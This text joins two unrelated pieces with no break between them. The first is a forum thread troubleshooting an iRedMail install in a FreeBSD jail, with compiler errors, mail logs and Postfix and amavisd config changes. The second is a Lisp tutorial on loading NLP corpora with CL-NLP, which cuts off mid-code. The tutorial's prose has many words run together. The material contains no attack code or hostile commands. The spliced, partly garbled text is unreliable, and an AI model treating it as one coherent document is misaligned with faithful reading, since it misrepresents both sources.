Is it possible that, installing iRedMail without Jail, then setup Jail (with ezjail or whatever), then move/convert/migrate mail server related components into Jail?
I guess Jail is a little hard for FreeBSD beginners, maybe it's not a good idea to use it. Otherwise we have to provide two options for FreeBSD users: without Jail and with Jail.
I have some work now. I will try on few days install and migrate iRedMail in Jail.
Its hard? For script or user? After installation only one difference (from user side) is that user must "login" on jail with command: jexec ID csh, and then he can setup what he want in iRedMail.
In install script must be to enter settings "network interface" and "public IP". Network interface user whose install can check this with command ifconfig.
Jail solution for mail server is very secured - less ports is on "world". Only ports from smtp, pop3 and ssl smtp will be in internet, without amavisd and others.
Hope to hear from you later, if possible, we can work together to make it happen, make iRedMail better.
If iRedMail is for very very beginer users then I have some suggests:
1. After installation fresh FreeBSD, and install bash form ports we haven't symlink /bin/bash. So we must run command
with /usr/local/bin/bash get_all.sh etc
2. You can add how to download iRedMail, my example:
cd /root
fetch http://iredmail.googlecode.com/files/iRedMail-0.6.1.tar.bz2
tar zxvf iRedMail-0.6.1.tar.bz2
3. When I start install script then I had some problems with postfix install:
cc -DDEF_CONFIG_DIR=\"/usr/local/etc/postfix\" -DDEF_DAEMON_DIR=\"/usr/local/libexec/postfix\" -
DDEF_COMMAND_DIR=\"/usr/local/sbin\" -DDEF_SENDMAIL_PATH=\"/usr/local/sbin/sendmail\" -DDEF_NEWALIAS_PATH=
\"/usr/local/bin/newaliases\" -DDEF_MAILQ_PATH=\"/usr/local/bin/mailq\" -DDEF_MANPAGE_DIR=\"/usr/local/man\" -
DDEF_README_DIR=\"/usr/local/share/doc/postfix\" -DDEF_HTML_DIR=\"/usr/local/share/doc/postfix\" -DDEF_QUEUE_DIR=
\"/var/spool/postfix\" -DDEF_DATA_DIR=\"/var/db/postfix\" -DDEF_MAIL_OWNER=\"postfix\" -DDEF_SGID_GROUP=\"maildrop\" -
DHAS_PCRE -I/usr/local/include -DUSE_SASL_AUTH -DDEF_SERVER_SASL_TYPE=\"dovecot\" -DUSE_TLS -I/usr/include -
I/usr/local/include/db46 -DHAS_MYSQL -I/usr/local/include/mysql -DHAS_LDAP -I/usr/local/include -DHAS_CDB -
I/usr/local/include NO -O2 -fno-strict-aliasing -pipe -DLDAP_DEPRECATED -I. -DFREEBSD8 -c alldig.c
cc: NO: No such file or directory
*** Error code 1
Stop in /var/ports/basejail/usr/ports/mail/postfix26/work/postfix-2.6.7/src/util.
*** Error code 1
Stop in /var/ports/basejail/usr/ports/mail/postfix26/work/postfix-2.6.7.
*** Error code 1
Stop in /basejail/usr/ports/mail/postfix26.
*** Error code 1
Stop in /basejail/usr/ports/mail/postfix26.
Im installing MySQL virtual users version, maybe install script settings wrong parameters on 'make install' in
/ports/postfix26?
I fix it manualy installing postfix26 with standard config options:
cd /usr/ports/postfix26/
make clean
make install
I did add line: export status_install_port_mailpostfix26='DONE'
to .iRedMail.installation.status
4. Second compilation error:
===> Installing for apache-2.2.17_1
===> apache-2.2.17_1 depends on file: /usr/local/bin/perl5.10.1 - found
** Missing /basejail/usr/ports/www/apache22/files/apache22.in for apache-2.2.17_1.
*** Error code 1
Stop in /basejail/usr/ports/www/apache22.
I had this too before, on installing manualy apache on other jail (maybe its bug of FreeBSD?).
Temporary I added this line to .iRedMail.installation.status:
export status_install_port_wwwapache22='DONE'
And I installed apache20
And end of installing i have some errors depend of apache22:
< INFO > Configure User/Group: vmail.
< INFO > Configure Apache web server and PHP.
Can't open /usr/local/etc/apache22/httpd.conf: No such file or directory.
Can't open /usr/local/etc/apache22/httpd.conf: No such file or directory.
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
/root/iRedMail-0.6.1/./functions/apache_php.sh: line 95: /usr/local/www/apache22/data/robots.txt: No such file or
directory
/root/iRedMail-0.6.1/./functions/apache_php.sh: line 142: /boot/loader.conf: Read-only file system
sed: /usr/local/etc/apache22/httpd.conf: No such file or directory
Can't open /usr/local/etc/apache22/httpd.conf: No such file or directory.
Can't open /usr/local/etc/apache22/httpd.conf: No such file or directory.
Can't open /usr/local/etc/apache22/httpd.conf: No such file or directory.
/root/iRedMail-0.6.1/./functions/apache_php.sh: line 158: /usr/local/etc/apache22/httpd.conf: No such file or directory
/root/iRedMail-0.6.1/./functions/apache_php.sh: line 159: /usr/local/etc/apache22/httpd.conf: No such file or directory
Can't open /usr/local/etc/apache22/httpd.conf: No such file or directory.
< INFO > Configure Postfix.
< Backup > /usr/local/etc/postfix/main.cf -> main.cf.2010.11.07.14.28.18.
< Backup > /usr/local/etc/postfix/master.cf -> master.cf.2010.11.07.14.28.18.
< Backup > /etc/mail/mailer.conf -> mailer.conf.2010.11.07.14.28.18.
< INFO > Configure Policyd (postfix policy daemon).
< INFO > Configure Dovecot (pop3/imap server).
< Backup > /usr/local/etc/dovecot.conf -> dovecot.conf.2010.11.07.14.28.18.
< INFO > Configure Procmail (MDA).
< INFO > Configure ClamAV (anti-virus toolkit).
< INFO > Configure Amavisd-new.
< Backup > /usr/local/etc/amavisd.conf -> amavisd.conf.2010.11.07.14.28.18.
< Backup > /usr/local/etc/amavisd.conf -> amavisd.conf.2010.11.07.14.28.18.
< INFO > Configure SpamAssassin (content-based spam filter).
< INFO > Configure Roundcube webmail.
/root/iRedMail-0.6.1/./functions/roundcubemail.sh: line 218: /usr/local/etc/apache22/Includes/roundcubemail.conf: No
such file or directory
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
< INFO > Configure phpMyAdmin (web-based MySQL management tool).
/root/iRedMail-0.6.1/./functions/phpmyadmin.sh: line 27: /usr/local/etc/apache22/Includes/phpmyadmin.conf: No such file
or directory
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
< INFO > Configure PostfixAdmin (web-based mail account management tool).
/root/iRedMail-0.6.1/./functions/postfixadmin.sh: line 33: /usr/local/etc/apache22/Includes/postfixadmin.conf: No such
file or directory
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
< INFO > Configure Awstats (logfile analyzer for mail and web server).
/root/iRedMail-0.6.1/./functions/awstats.sh: line 39: /usr/local/etc/apache22/Includes/awstats.conf: No such file or
directory
/root/iRedMail-0.6.1/./functions/awstats.sh: line 48: /usr/local/etc/apache22/Includes/awstats.conf: No such file or
directory
/root/iRedMail-0.6.1/./functions/awstats.sh: line 78: /usr/local/etc/apache22/Includes/awstats.conf: No such file or
directory
Can't open /usr/local/etc/apache22/httpd.conf: No such file or directory.
/root/iRedMail-0.6.1/./functions/awstats.sh: line 94: /usr/local/etc/apache22/Includes/awstats.conf: No such file or
directory
/root/iRedMail-0.6.1/./functions/awstats.sh: line 141: /usr/local/etc/apache22/Includes/awstats.conf: No such file or
directory
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
Can't open /usr/local/etc/apache22/extra/httpd-ssl.conf: No such file or directory.
< Backup > /usr/local/www/awstats/cgi-bin/awstats.model.conf -> awstats.model.conf.2010.11.07.14.28.18.
iRedMail is installed now. I will check this. I write report later
Okay. First test results:
- On forwarding port 110 mail is working, its mean I can login to mail from MS Outlook.
- I can't sent mail from my mail, maillog:
Nov 7 15:24:55 poczta postfix/trivial-rewrite[78478]: fatal: proxy:mysql:/usr/local/etc/postfix/mysql_virtual_mailbox_domains.cf(0,lock|fold_fix): table lookup
problem
Nov 7 15:24:56 poczta postfix/smtpd[78327]: warning: problem talking to service rewrite: Unknown error: 0
Nov 7 15:24:56 poczta postfix/master[72462]: warning: process /usr/local/libexec/postfix/trivial-rewrite pid 78478 exit status 1
Nov 7 15:24:56 poczta postfix/master[72462]: warning: /usr/local/libexec/postfix/trivial-rewrite: bad command startup -- throttling
And other:
Nov 7 15:24:39 poczta postfix/proxymap[78328]: warning: connect to mysql server 127.0.0.1: Host '192.168.1.1' is not allowed to connect to this MySQL server
I tried sent e-mail from outer mail (free mail hosting) - not working.
Can You me tell which ports must me "open on internet"? I don't know how this software working too good. I know that I must forwarding from jail port 25 (smtp) and 110 (pop3). Its all?
Here is port list:
http://www.iredmail.org/forum/topic209- … ports.html
Nov 7 15:24:55 poczta postfix/trivial-rewrite[78478]: fatal: proxy:mysql:/usr/local/etc/postfix/mysql_virtual_mailbox_domains.cf(0,lock|fold_fix): table lookup
problem
Seems Postfix can't connect to MySQL.
Maybe you can try to connect MySQL via TCP/IP instead of local unix socket?
Im installing MySQL virtual users version, maybe install script settings wrong parameters on 'make install' in
/ports/postfix26?
All config options are set in /var/db/ports/postfix/options. Can you help check them?
Its options:
WITH_PCRE=true
WITHOUT_SASL2=true
WITH_DOVECOT=true
WITHOUT_SASLKRB=true
WITHOUT_SASLKRB5=true
WITHOUT_SASLKMIT=true
WITH_TLS=true
WITH_BDB=true
WITH_MYSQL=true
WITHOUT_PGSQL=true
WITH_OPENLDAP=true
WITH_CDB=true
WITHOUT_NIS=true
WITHOUT_VDA=true
WITHOUT_TEST=true
But I can try disable something.
WITH_TLS=true
WITH_BDB=true
WITH_OPENLDAP=true
WITH_CDB=true
Its needed for working of iRedMail?
Seems Postfix can't connect to MySQL.
I was set:
192.168.1.1<---><------><------>localhost localhost.my.domain
in /ets/hosts and this error is fixed
I dont know why but my amavid wasn't started. I start him manually.
And next error:
Nov 7 16:38:34 poczta amavis[85011]: (!)DENIED ACCESS from IP 192.168.1.1, policy bank ''
Nov 7 16:38:34 poczta postfix/smtp[84875]: CA9371B27E03: to=<[email protected]>, relay=127.0.0.1[127.0.0.1]:10024, delay=0.43, delays=0.43/0/0/0, dsn=4.4.2, st
atus=deferred (lost connection with 127.0.0.1[127.0.0.1] while receiving the initial server greeting)
Nov 7 16:38:36 poczta postfix/smtpd[78327]: disconnect from bqm10.neoplus.adsl.tpnet.pl[83.29.80.10]
I will ask on FreeBSD forum how to setup something like alias 127.0.0.1 for 192.168.1.1. But other way - we can change IP in /postfix/main.cf i think.
I tried to install iRedMail again. I fix problems with apache22 (its error in mail port tree). Still I have error with install postfix26. I cant install this from install script but I can install this with commands:
cd /usr/ports/mail/postfix26
make clean
make install clean
(without make config) I dont know bash scripts etc, i cant find source of this problem.
But something else interesing me... when installing is finishing its looking that:
daily.cld updated (version: 12213, sigs: 144965, f-level: 53, builder: arnaud)
Downloading bytecode.cvd [100%]
bytecode.cvd updated (version: 89, sigs: 10, f-level: 53, builder: edwin)
Database updated (849702 signatures) from database.clamav.net (IP: 193.218.105.9)
WARNING: Clamd was NOT notified: Can't connect to clamd through /var/run/clamav/clamd.sock
connect(): No such file or directory
kldload: can't load accf_http: Operation not permitted
Start: not found
Stopping mysql.
Waiting for PIDS: 95112.
Starting mysql.
Start: not found
dovecot not running? (check /var/run/dovecot/master.pid).
Starting dovecot.
If you have trouble with authentication failures,
enable auth_debug setting. See http://wiki.dovecot.org/WhyDoesItNotWork
This message goes away after the first successful login.
Start: not found
amavisd not running?
Starting amavisd.
Start: not found
postfix/postfix-script: fatal: the Postfix mail system is not running
postfix/postfix-script: starting the Postfix mail system
Start: not found
postfix_policyd_sf not running? (check /var/run/postfix-policyd-sf.pid).
Starting postfix_policyd_sf.
Start: not found
clamav_clamd not running?
Starting clamav_clamd.
Start: not found
clamav_freshclam not running? (check /var/run/clamav/freshclam.pid).
Starting clamav_freshclam.
Start: not found
Performing sanity check on apache22 configuration:
Syntax OK
apache22 not running? (check /var/run/httpd.pid).
Performing sanity check on apache22 configuration:
Syntax OK
Starting apache22.
A lot of errors. Its normal Zhang?
WITH_TLS=true
WITH_BDB=true
WITH_OPENLDAP=true
WITH_CDB=true
Its needed for working of iRedMail?
WITH_OPENLDAP=true is optional if you use MySQL to store virtual mail accounts. But if you want to migrate from MySQL to OpenLDAP, you don't need to re-compile it. It's up to you.
TLS, BDB, CDB are required.
I cant install this from install script but I can install this with commands:
cd /usr/ports/mail/postfix26
make clean
make install clean
(without make config)
I don't know why it happened. In early edition of iRedMail, with older FreeBSD ports tree, it works well. I didn't change any config options, that make me confused.
Start: not found
Not sure why it raises this error message.
Temporary I added host % to user vmail in MySQL and I added/modified this lines in amavisd.conf
@inet_acl = qw( 127.0.0.1 192.168.1.1 ); # allow SMTP access only from localhost
@mynetworks = qw( 192.168.1.1 127.0.0.0/8 [::1] [FE80::]/10 [FEC0::]/10
10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 );
postfix/main.cf
mynetworks = 127.0.0.0/8, 192.168.1.1
content_filter = smtp-amavis:[192.168.1.1]:10024
postfix/master.cf
192.168.1.1:10025 inet n - - - - smtpd
-o mynetworks=127.0.0.0/8, 192.168.1.1
And I haven't more errors with MySQL and amavisd. But I have other errors:
Nov 8 11:30:44 poczta amavis[79513]: (79513-02-2) (!)rw_loop: leaving rw loop, no progress, last event (select) 35.005 s ago
Nov 8 11:30:44 poczta amavis[79513]: (79513-02-2) (!)FWD via SMTP: <[email protected]> -> <[email protected]>, 451 4.5.0 From MTA([127.0.0.1]:10025) during fwd-connect (Negative greeting: at (eval 114)
line 596, <GEN19> line 384.): id=79513-02-2
Nov 8 11:30:44 poczta amavis[79513]: (79513-02-2) Blocked MTA-BLOCKED, LOCAL [83.29.80.10] [83.29.80.10] <[email protected]> -> <[email protected]>, Message-ID: <008701cb7f38$01639270$042ab750$@alfaholic
y.org>, mail_id: phIcgmojyCwn, Hits: -9.998, size: 2685, 57058 ms
Nov 8 11:30:44 poczta postfix/smtp[79491]: 27B201B27EBC: to=<[email protected]>, relay=192.168.1.1[192.168.1.1]:10024, conn_use=2, delay=149, delays=0.6/92/0/57, dsn=4.5.0, status=deferred (host 192.168.1.1[192.
168.1.1] said: 451 4.5.0 id=79513-02-2 - Temporary MTA failure on relaying, From MTA([127.0.0.1]:10025) during fwd-connect (Negative greeting: at (eval 114) line 596, <GEN19> line 384.): id=79513-02-2 (in reply t
o end of DATA command))
Nov 8 11:30:51 poczta postfix/smtpd[79677]: fatal: unexpected command-line argument: 192.168.1.1
Nov 8 11:30:51 poczta postfix/smtpd[79678]: fatal: unexpected command-line argument: 192.168.1.1
Nov 8 11:30:52 poczta postfix/master[79487]: warning: process /usr/local/libexec/postfix/smtpd pid 79677 exit status 1
Nov 8 11:30:52 poczta postfix/master[79487]: warning: /usr/local/libexec/postfix/smtpd: bad command startup -- throttling
Nov 8 11:30:52 poczta postfix/master[79487]: warning: process /usr/local/libexec/postfix/smtpd pid 79678 exit status 1
I can't found on Google where problem is. Maybe You know?
Nov 8 11:30:44 poczta amavis[79513]: (79513-02-2) (!)FWD via SMTP: <[email protected]> -> <[email protected]>, 451 4.5.0 From MTA([127.0.0.1]:10025) during fwd-connect (Negative greeting: at (eval 114)
line 596, <GEN19> line 384.): id=79513-02-2
Nov 8 11:30:44 poczta amavis[79513]: (79513-02-2) Blocked MTA-BLOCKED, LOCAL [83.29.80.10] [83.29.80.10] <[email protected]> -> <[email protected]>, Message-ID: <008701cb7f38$01639270$042ab750$@alfaholic
y.org>, mail_id: phIcgmojyCwn, Hits: -9.998, size: 2685, 57058 ms
Not sure why it happened.
Please ask in amavisd mail list:
http://www.ijs.si/software/amavisd/#support
Do you have these two settings in amavisd.conf?
$notify_method = 'smtp:[127.0.0.1]:10025';
$forward_method = 'smtp:[127.0.0.1]:10025';
Try to replace '127.0.0.1', restart amavisd service and test again.
Zhang this solution don't working. But I turned off amavisd temporary and sending mails is working We are close to make this working
I found solution.
Nov 8 11:30:51 poczta postfix/smtpd[79677]: fatal: unexpected command-line argument: 192.168.1.1
Its mean that errors is here:
-o mynetworks=127.0.0.0/8, 192.168.1.1
Peoples from BSD dont replied on my answer about my problems with 127.0.0.1. But seding mails with amavisd is working when I replace 127.0.0.1 to 192.168.1.1
I will try install new jail again and I will configuring all fine from begining - I write something what I must do
That's cool.
Waiting for your tutorial. Maybe you can write in our wiki directly?
http://iredmail.org/wiki/
I will be very proud, but my english is very simple. Can I post on forum and You will be reword my text? I don't want post on wiki something writing like 12 years old child
Posting in forum is ok too.
Don't worry about your English
Currently installed 3 official extensions. Copyright © 2003–2009 PunBB.
Generated in 0.117 seconds (67% PHP - 33% DB) with 11 queries |
Let's return to start of chapter 2 and explore the tools needed to easily and efficiently work with various linguistic resources.
What are the most used and useful corpora? This is a difficult question to answer because different problems will likely require specific annotations and often a specific corpus. There are even special conferences dedicated to corpus linguistics.
Here's a list of the most well-known general-purpose corpora:
Brown Corpus - one of the first big corpora and the only one in the list really easily accessible - we've already worked with it in the first chapter
Penn Treebank - Treebank is a corpus of sentences annotated with their constituency parse trees so that they can be used to train and evaluate parsers
Reuters Corpus (not to be confused with the ApteMod version provided with NLTK)
British National Corpus (BNC) - a really huge corpus, but, unfortunately, not freely available
Another very useful resource which isn't structured specifically asacademic corpora mentioned above, but at the same time has otherdimensions of useful connections and annotations is Wikipedia.And there's being a lot of interesting linguistic research performed with it.
Besides there are two additional valuable language resources thatcan't be classified as text corpora at all, but rather as languagedatabases: WordNet and Wiktionary. We have already discussedCL-NLP interface to Wordnet. And we'll touch working with Wiktionaryin this part.
Processing corpora
All of the text corpora we'll encounter come as a set of files which use some format, either custom or standard (like XML). So to be able to access this data we'll need to implement reading and processing of individual files and assembling these files into groups. Besides, as some corpora are really large (for instance a zipped instance of the Reuters corpus amounts to 1.5+ Gb), it is also useful to be able to process the data one text at a time not detaining them in memory. All this defines a rather simple protocol for corpora processing.
A corpus is just a list of texts, that can be arbitrary grouped.
(defstruct corpus desc texts groups)
A text has a name and several representations: basic texts mayhave a raw, a cleaned-up and a tokenized one. We'll also see texts withother representations, like the parse trees for treebanks - we'll usestructure inheritance to describe them.
(defstruct text name raw clean tokens)
The protocol itself comprises of 3 operations:
(defgeneric read-corpus (type path))
(defgeneric read-corpus-file (type source))
(defgeneric map-corpus (type path fn))
read-corpus creates a corpus object, and it uses read-corpus-fileto read individual files and return their contents in multiple forms,potentially needed for further processing. map-corpus calls functionfn with every text produced from calling read-corpus-file on acorpus in arbitrary order. This function works more like maphashthan mapcar, because it doesn't collect the results of applyingfn.
The methods of these functions are usually boring. For text-basedformats we implement read-corpus-file by reading each file's texteither in whole or line-by-line with the dolines macro, performingtokenization and some post-processing. For XML-based variants we mayuse SAX processing with Closure XML library.
Processing the NPS Chat corpus
Let's look at the NPS Chat corpus that is provided with NLTK. It has arather simple XML format. The entries are called Posts and have thefollowing structure:
<Post class="Emotion" user="10-19-30sUser2">10-19-30sUser11 lol
<terminals>
<t pos="NNP" word="10-19-30sUser11"/>
<t pos="UH" word="lol"/>
</terminals>
</Post>
We process each file by calling cxml:parse with an instanceof the nps-chat-sax class.
(defmethod read-corpus-file ((type (eql :nps-chat)) source)
(cxml:parse source (make 'nps-chat-sax)))
For this object we'll specialize the parser methods. It will also serve as a storage for state of processing as SAX parsing operates with callbacks that don't have access to the current context besides access to the parser object.
(defclass nps-chat-sax (sax:sax-parser-mixin)
((texts :initform nil)
(tokens :initform nil)
(classes :initform nil)
(users :initform nil)
(cur-tag :initform nil)
(cur-tokens :initform nil)))
read-corpus-file will return a list of each post's contents, tokens,as well as the list of posts' classes and users, which are indicatedin the meta attributes. Technically these values will be produced bythe sax:end-document method that is called at the end of SAXprocessing:
(defmethod sax:end-document ((sax nps-chat-sax))
(with-slots (texts tokens users classes) sax
(values nil ;; raw text isn't useful for this corpus
(reverse texts)
(reverse tokens)
(reverse classes)
(reverse users))))
In sax:start-element method we store the current tag and recordattributes of each post or tokens, depending on the element.
(defmethod sax:start-element ((sax nps-chat-sax)
namespace-uri local-name qname attributes)
(with-slots (classes users cur-tokens cur-tag) sax
(case (setf cur-tag (mkeyw local-name))
(:post (push (attr "class" attributes) classes)
(push (attr "user" attributes) users))
(:t (push (make-token :word (attr "word" attributes)
:tag (mkeyw (attr "pos" attributes)))
cur-tokens)))))
In sax:characters we record current post's text:
(defmethod sax:characters ((sax nps-chat-sax) data)
(with-slots (cur-tag texts) sax
(when (eql :terminals cur-tag)
(push data texts))))
And in sax:end-element we dump current tokens:
(defmethod sax:end-element ((sax nps-chat-sax) namespace-uri
local-name qname)
(when (eql :terminals (mkeyw local-name))
(with-slots (tokens cur-tokens) sax
(push (reverse cur-tokens) tokens)
(setf cur-tokens nil))))
If you have used SAX parsing in some other language, like Python, you should immediately recognize this approach and see how it can translated to that language almost line-by-line.
Processing the Reuters corpus
A slightly more complex processing is required for the Reuters corpus. The reason for that is that unlike with the Chat corpus that we assumed to be inside a filesystem directory, it's not always reasonable to extract this corpus as it's big and also is stored in two-level zip archive with individual archives packed inside another big archive. Extracting all of them is, obviously, tedious.
For such corpus it makes sense to resort to using map-corpus.Here's a definition of its method for this corpus:
(defmethod map-corpus ((type (eql :reuters)) path fn)
(zip:with-zipfile (zip path)
(zip:do-zipfile-entries (name entry zip)
(unless (char= #\/ (last-char name))
(with-zipped-zip (in entry :raw t)
(mv-bind (_ text tokens __ ___ headline byline dateline)
(read-corpus-file :reuters in)
(declare (ignore _ __ ___))
(funcall fn (make-reuters-text
:name name
:clean text
:tokens tokens
:headline headline
:byline byline
:dateline dateline))))))))
It relies on read-corpus-file which processes individualXML documents just like we saw early for the NPS Chat corpus.But the documents are fed into it not by fad:walk-directory,but with the help of the utilities, provided by David Lichteblau'sexcellent zip library.
(zip:with-zipfile (zip path)
(zip:do-zipfile-entries (name entry zip)
(unless (char= #\/ (last-char name))
(with-zipped-zip (in entry :raw t)
In this snippet we open the zip file at path in with-zipfile anditerate over its entries with do-zipfile-entries. These are usualLisp patterns to handle such kinds of resources. Yet inside the zipfile we find another layer of zip archives. To remove unnecessaryhassle and boilerplate I've added an additional macro with-zipped-zip.It has to some extent to replicate the functionality of with-zipfile,but it should take the data from the contents of one of the entriesof the already open zip file. Another twist is that it optionallygives the possibility to access the raw unzipped binary stream,not yet converted to a text representation - this is useful for CXMLwhich can work with such streams efficiently.
(defmacro with-zipped-zip ((name stream zipfile-entry
&key (external-format :utf-8) raw)
&body body)
(with-gensyms (zipstream v end entry entries zip x n)
;; here we transform the archives contents into an input stream
;; and then read it
`(flex:with-input-from-sequence
(,zipstream (zip:zipfile-entry-contents ,zipfile-entry))
(let ((,v (make-array (zip:zipfile-entry-size ,zipfile-entry)
:element-type '(unsigned-byte 8))))
(read-sequence ,v ,zipstream)
;; here we look for the central directory header
;; and move to it in the stream
(if-it (search #(80 75 5 6) ,v :from-end t)
(file-position ,zipstream it)
(error "end of central directory header not found"))
;; here we create a corresponding zipfile object for the entry
(let* ((,end (zip::make-end-header ,zipstream))
(,n (zip::end/total-files ,end))
(,entries (make-hash-table :test #'equal))
(,zip (zip::make-zipfile
:stream ,zipstream
:entries ,entries
:external-format ,external-format)))
(file-position ,zipstream
(zip::end/central-directory-offset ,end))
;; and here we read individual entries from the archive
(dotimes (,x ,n)
(let ((,entry (zip::read-entry-object ,zipstream
,external-format)))
(set# (zip:zipfile-entry-name ,entry) ,entries ,entry)))
;; finally, we're able to access entries in the same manner
;; as we'll do for the ordinary archive
(do-entries (,name ,stream ,zip
:external-format ,external-format :raw ,raw)
,@body))))))
As you see, this macro uses a lot of zip's internal symbols, as itimplements the similar function to the one which the library does,but not anticipated by its author...
Let's see how it works:
NLP> (map-corpus :reuters "Reuters.zip"
#`(print (text-name %)))
"Reuters/Eng Lang_Disk 1/19960824.zip/12536newsML.xml"
"Reuters/Eng Lang_Disk 1/19960824.zip/12537newsML.xml"
...
Processing the Penn Treebank
The Penn Treebank is a very important corpus which is also not easy to obtain: you have to order a CD from Linguistic Data Consortium (LDC) and pay more than 1.5 thousand dollars for it. Yet, there are 2 workarounds:
NLTK data provides 5% of the treebank, so you can use it for experimenting with the data format
There's a more recent corpus OntoNotes which includes the Penn Treebank, and you also should obtain it from LDC, but it costs only 50$ (I've learned about its existence on StackOverflow, ordered it and it indeed has a treebank inside, as well as a lot of other useful linguistic annotations; the only thing I'm not sure about is whether it is an exact copy of the Penn Treebank)
Let's see how to load the NLTK's treebank. The obvious thing about treebanks is that they are basically Lisp code, so it should be very easy to parse the data with Lisp. The only catch is that the treebank doesn't obey Lisp's formatting rules for strings and doesn't distinguish special characters like quote and pipe. So the task is to properly handle all that.
In CL-NLP we have several utilities for dealing with trees: themacros dotree and doleaves which execute arbitrary code for eachsubtree or leaf in a tree for side-effects, and their counterpartfunctions maptree and mapleaves that allow to create isomorphictree structures by applying a function to all tree's nodes or leaf nodes.
So, reading a treebanked tree will be performed in 2 steps:
first, we prepare the tree for loading by properly escaping everything:
(defun prepare-tree-for-reading (string)
(strjoin " " (mapcar #`(cond-it
((char= #\( (char % 0))
(cond-it
((member (sub % 1)
'("." "," ";" ":" "#" "''" "``")
:test 'string=)
(fmt "(|~A|" (sub % 1))))
((position #\| %)
(fmt "(|~A\\|~A|"
(sub % 1 it) (sub % (1+ it))))
(t %)))
((position #\) %)
(if (zerop it)
%
(fmt "\"~A\"~A" (sub % 0 it) (sub % it))))
(t (fmt "\"~A\"" %)))
(split-sequence-if #`(member % +white-chars+)
string :remove-empty-subseqs t)))
and then we
readthe tree with the Lisp reader and separately collect its tokens:
(defmethod read-corpus-file ((type (eql :treebank)) file)
(let ((raw (string-trim +white-chars+ (read-file file))))
(with-input-from-string (in (prepare-tree-for-reading raw))
(loop
:for tree := (car (read in nil)) :while tree
:collect raw :into raws
:collect tree :into trees
:collect (let ((pos 0)
toks)
(dotree (subtree tree)
(when (and (listp subtree)
(single (cdr subtree))
(atom (cadr subtree)))
(let ((word (second subtree)))
(push (make-token
:beg pos
:end (1- (incf pos (1+ (length word))))
:word word
:tag (first subtree))
toks))))
(reverse toks))
:into tokens
:finally
(return (values (strjoin #\Newline raws)
(mapcar #`(strjoin #\Space
(mapcar #'token-word %))
tokens)
tokens
trees))))))
Other corpora
Most of the other corpora will use formats similar to the Brown,Reuters Corpus, or Penn Treebank, so their readers may easily bedefined by analogy. Besides, the implementations of read-corpus methodsassume a certain way to present the corpus to the library: in afilesystem directory, in a zipfile etc. Certainly, the corpora maycome in different form, but it will take just a couple of lines ofcode changed to re-purpose the methods to handle a differentrepresentation
Working with some other collections of documents presented in the NLTK book, like Project Gutenberd collection of famous literary texts in public domain or Inaugural speeches collection is just trivial - you can see how it's done in our implementation of Chapter 1.
For instance, if we have Project Gutenberg collection in some directory dir,we can process it by using the following pattern:
(fad:walk-directory
dir
#`(let ((text (string-trim +white-chars (read-file %))))
... do some processing on the raw text of the corpus ...
))
Working with Wikipedia and Wiktionary
Unlike most of academic corpora that are not so easy to obtain Wikipedia and Wiktionary without a hassle give you access to full dumps of their data in various formats: SQL, XML and text. For instance, we can obtain the latest dump of English Wiktionary from http://dumps.wikimedia.org/enwiktionary/.
I found it the most convenient to process them using the same XML SAX parsing approach that was utilized for the Reuters and NPS Chat corpora. The difference for them is that inside the XML documents a special Mediawiki markup is used to add metadata. It is, in fact, a heroic feat to parse this markup, because it doesn't have a clear, precise spec - it's real spec is the PHP code of the Wikipedia's parser,- and different people tend to (ab)use different variations of annotations to express the same or similar things, as well as just to use the markup in an untidy manner. I call such documents semi-structured compared to unstructured raw text and structured XML markup. Still, there's a lot of value in this annotation, because of their crowdsourced nature that allows to capture much more information than in most centralized efforts. Basically, there are 2 ways to work with Mediawiki markup: using regexes or implementing the complete parser.
Below is a snippet of code, that uses the regex-based approach toextract some information from the English Wiktionary - English worddefinitions. In Wiktionary markup the definitions are inside eachlanguage's section (denoted with ==Lang== marker, where Lang canbe English or some other language). The definitions themselves areplaced on their own lines and start with one of these markers: #,#:, #*, #*:, #*::, * [[.
(defvar *defs* (list))
(defclass word-collector (sax:sax-parser-mixin)
((title :accessor title :initform nil)
(tag :accessor tag :initform nil)
(text :accessor text :initform ())
(itemcount :accessor itemcount :initform 0)
(tagcount :accessor tagcount :initform 0)))
(defmethod sax:end-element ((sax word-collector)
namespace-uri local-name qname)
(with-slots (title tag text) sax
(when (string= "text" local-name)
(let ((lang-marker "==English==")
(whole-text (strjoin "" (reverse text))))
(when-it (search lang-marker whole-text)
(let ((start (+ it (length lang-marker))))
(dolist (line (split-sequence
#\Newline (sub whole-text start
(re:scan "[^=]==[^=]" whole-text
:start start))))
(when (some #`(starts-with % line)
'("# " "#: " "#* " "#*: " "#*:: " "* [["))
(push (clean-words line) *defs*)
(incf (itemcount sax))))))))))))
(defun clean-words (line)
"Return a list of downcased words (only alpha-chars or hyphens
in the middle) found in LINE."
(mapcar #`(string-downcase (string-trim "-" %))
(remove-if #`(or (blankp %)
(loop :for char :across % :do
(unless (or (alpha-char-p char)
(char= #\- char))
(return t))))
(re:split +punctuation+ (raw-text line)))))
(defun raw-text (line)
"Return LINE without special-purpose Wiktionary chars."
(re:regex-replace-all "({[^}]+})|(\\[\\[)|(\\]\\])|('''?)"
(sub line (1+ (position #\Space line)))
""))
As the task is clearly defined and limited - extract just the text of definitions - it is possible to use regexes here:
one regex to spot the interesting lines
another one to filter out all the unnecessary markup.
Using corpora
Now, as we can already load and play with our corpora let's take a look at some NLTK examples.
First, let's examine the Brown corpus. Here are its categories:
NLP> (ht-keys (corpus-groups *brown*))
(:PRESS-REPORTAGE :PRESS-EDITORIAL :PRESS-REVIEWS :RELIGION
:SKILL-AND-HOBBIES :POPULAR-LORE :BELLES-LETTRES
:MISCELLANEOUS-GOVERNMENT-HOUSE-ORGANS :LEARNED :FICTION-GENERAL
:FICTION-MYSTERY :FICTION-SCIENCE :FICTION-ADVENTURE :FICTION-ROMANCE
:HUMOR)
As you see, there is no "news" category which is mentioned in the NLTK example. Probably, what they refer to is :press-reportage.
NLP> (take 9 (mapcar #'token-word
(flatten (mapcar #'text-tokens
